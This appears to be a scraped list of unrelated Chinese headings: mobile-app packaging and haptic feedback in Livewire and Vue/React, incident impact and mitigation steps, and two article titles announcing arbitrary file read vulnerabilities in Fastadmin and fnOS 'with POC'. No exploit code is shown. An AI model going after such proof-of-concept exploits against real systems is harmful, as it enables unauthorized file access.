刚才到底发生了什么？

完整的打包发布流程

第一个原生功能演示：触觉反馈

在 Livewire 中的写法（PHP）

在 Vue / React / Inertia 中的写法（JavaScript）

二、紧急影响面排查

三、缓解与修复方案

Fastadmin框架任意文件读取漏洞附POC

飞牛系统（fnOS）任意文件读取漏洞附POC